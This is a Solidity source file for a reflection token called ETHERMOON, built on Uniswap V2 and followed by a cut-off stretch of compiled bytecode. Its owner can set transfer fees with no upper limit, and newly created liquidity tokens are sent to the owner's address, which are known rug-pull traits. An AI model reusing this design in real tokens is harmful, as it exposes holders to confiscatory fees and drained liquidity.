_Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor (){ address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract ETHERMOON is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; address public _MarketingAddress = 0xab37bc7247e7313C76Fb8FC82A842b0FFB22F855; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000 * 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "ETHERMOON"; string private _symbol = "ETHERMOON"; uint8 private _decimals = 9; uint256 public _taxFee = 3; uint256 private _previousTaxFee = _taxFee; uint256 public _marketingFee = 1; uint256 private _previousmarketingFee = _marketingFee; uint256 public _liquidityFee = 6; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 50000 * 10**16 * 10**9; uint256 private numTokensSellToAddToLiquidity = 5 * 10**12 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDonation) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeDonation(tDonation); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setMarketingFeePercent(uint256 marketingFee) external onlyOwner() { _marketingFee = marketingFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDonation) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, tDonation, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tDonation); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tDonation = calculateDonationFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tDonation); return (tTransferAmount, tFee, tLiquidity, tDonation); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tDonation, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rDonation = tDonation.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rDonation); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _takeDonation(uint256 tDonation) private { uint256 currentRate = _getRate(); uint256 rDonation = tDonation.mul(currentRate); _rOwned[_MarketingAddress] = _rOwned[_MarketingAddress].add(rDonation); if(_isExcluded[_MarketingAddress]) _tOwned[_MarketingAddress] = _tOwned[_MarketingAddress].add(tDonation); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateDonationFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_marketingFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousmarketingFee = _marketingFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _marketingFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _marketingFee = _previousmarketingFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDonation) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeDonation(tDonation); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDonation) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeDonation(tDonation); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDonation) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeDonation(tDonation); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x60806040526004361061021e5760003560e01c806349bd5a5e116101235780638da5cb5b116100ab578063c49b9a801161006f578063c49b9a801461081c578063d543dbeb14610845578063dd62ed3e1461086e578063ea2f0b37146108ab578063f2fde38b146108d457610225565b80638da5cb5b146107235780638ee88c531461074e57806395d89b4114610777578063a457c2d7146107a2578063a9059cbb146107df57610225565b80636bc87c3a116100f25780636bc87c3a1461063c57806370a0823114610667578063715018a6146106a45780637d1db4a5146106bb57806388f82020146106e657610225565b806349bd5a5e146105805780634a74bb02146105ab57806352390c02146105d65780635342acb4146105ff57610225565b80632d838119116101a65780633b124fe7116101755780633b124fe71461049d5780633bd5d173146104c8578063437823ec146104f15780634549b0391461051a578063457c194c1461055757610225565b80632d838119146103cf578063313ce5671461040c5780633685d41914610437578063395093511461046057610225565b80631694505e116101ed5780631694505e146102e657806318160ddd146103115780631dbeef711461033c57806322976e0d1461036757806323b872dd1461039257610225565b8063061c82d01461022a57806306fdde0314610253578063095ea7b31461027e57806313114a9d146102bb57610225565b3661022557005b600080fd5b34801561023657600080fd5b50610251600480360381019061024c9190614362565b6108fd565b005b34801561025f57600080fd5b50610268610983565b60405161027591906147a7565b60405180910390f35b34801561028a57600080fd5b506102a560048036038101906102a091906142fd565b610a15565b6040516102b29190614771565b60405180910390f35b3480156102c757600080fd5b506102d0610a33565b6040516102dd9190614969565b60405180910390f35b3480156102f257600080fd5b506102fb610a3d565b604051610308919061478c565b60405180910390f35b34801561031d57600080fd5b50610326610a61565b6040516103339190614969565b60405180910390f35b34801561034857600080fd5b50610351610a6b565b60405161035e91906146f5565b60405180910390f35b34801561037357600080fd5b5061037c610a91565b6040516103899190614969565b60405180910390f35b34801561039e57600080fd5b506103b960048036038101906103b491906142ae565b610a97565b6040516103c69190614771565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190614362565b610b70565b6040516104039190614969565b60405180910390f35b34801561041857600080fd5b50610421610bde565b60405161042e9190614a15565b60405180910390f35b34801561044357600080fd5b5061045e60048036038101906104599190614220565b610bf5565b005b34801561046c57600080fd5b50610487600480360381019061048291906142fd565b610fc3565b6040516104949190614771565b60405180910390f35b3480156104a957600080fd5b506104b2611076565b6040516104bf9190614969565b60405180910390f35b3480156104d457600080fd5b506104ef60048036038101906104ea9190614362565b61107c565b005b3480156104fd57600080fd5b5061051860048036038101906105139190614220565b6111f8565b005b34801561052657600080fd5b50610541600480360381019061053c919061438b565b6112cf565b60405161054e9190614969565b60405180910390f35b34801561056357600080fd5b5061057e60048036038101906105799190614362565b611355565b005b34801561058c57600080fd5b506105956113db565b6040516105a291906146f5565b60405180910390f35b3480156105b757600080fd5b506105c06113ff565b6040516105cd9190614771565b60405180910390f35b3480156105e257600080fd5b506105fd60048036038101906105f89190614220565b611412565b005b34801561060b57600080fd5b5061062660048036038101906106219190614220565b6116ad565b6040516106339190614771565b60405180910390f35b34801561064857600080fd5b50610651611703565b60405161065e9190614969565b60405180910390f35b34801561067357600080fd5b5061068e60048036038101906106899190614220565b611709565b60405161069b9190614969565b60405180910390f35b3480156106b057600080fd5b506106b96117f4565b005b3480156106c757600080fd5b506106d061192e565b6040516106dd9190614969565b60405180910390f35b3480156106f257600080fd5b5061070d60048036038101906107089190614220565b611934565b60405161071a9190614771565b60405180910390f35b34801561072f57600080fd5b5061073861198a565b60405161074591906146f5565b60405180910390f35b34801561075a57600080fd5b5061077560048036038101906107709190614362565b6119b3565b005b34801561078357600080fd5b5061078c611a39565b60405161079991906147a7565b60405180910390f35b3480156107ae57600080fd5b506107c960048036038101906107c491906142fd565b611acb565b6040516107d69190614771565b60405180910390f35b3480156107eb57600080fd5b50610806600480360381019061080191906142fd565b611b98565b6040516108139190614771565b60405180910390f35b34801561082857600080fd5b50610843600480360381019061083e9190614339565b611bb6565b005b34801561085157600080fd5b5061086c60048036038101906108679190614362565b611c86565b005b34801561087a57600080fd5b5061089560048036038101906108909190614272565b611d33565b6040516108a29190614969565b60405180910390f35b3480156108b757600080fd5b506108d260048036038101906108cd9190614220565b611dba565b005b3480156108e057600080fd5b506108fb60048036038101906108f69190614220565b611e91565b005b61090561203a565b73ffffffffffffffffffffffffffffffffffffffff1661092361198a565b73ffffffffffffffffffffffffffffffffffffffff1614610979576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610970906148c9565b60405180910390fd5b80600e8190555050565b6060600b805461099290614c58565b80601f01602080910402602001604051908101604052809291908181526020018280546109be90614c58565b8015610a0b5780601f106109e057610100808354040283529160200191610a0b565b820191906000526020600020905b8154815290600101906020018083116109ee57829003601f168201915b5050505050905090565b6000610a29610a2261203a565b8484612042565b6001905092915050565b6000600a54905090565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600854905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b6000610aa484848461220d565b610b6584610ab061203a565b610b608560405180606001604052806028815260200161512260289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b1661203a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257a9092919063ffffffff16565b612042565b600190509392505050565b6000600954821115610bb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bae906147e9565b60405180910390fd5b6000610bc16125cf565b9050610bd681846125fa90919063ffffffff16565b915050919050565b6000600d60009054906101000a900460ff16905090565b610bfd61203a565b73ffffffffffffffffffffffffffffffffffffffff16610c1b61198a565b73ffffffffffffffffffffffffffffffffffffffff1614610c71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c68906148c9565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf490614869565b60405180910390fd5b60005b600680549050811015610fbf578173ffffffffffffffffffffffffffffffffffffffff1660068281548110610d5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610fac5760066001600680549050610db99190614b66565b81548110610df0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660068281548110610e55577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506006805480610f72577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055610fbf565b8080610fb790614c8a565b915050610d00565b5050565b600061106c610fd061203a565b846110678560036000610fe161203a565b73fffffffffffffffffffffffffff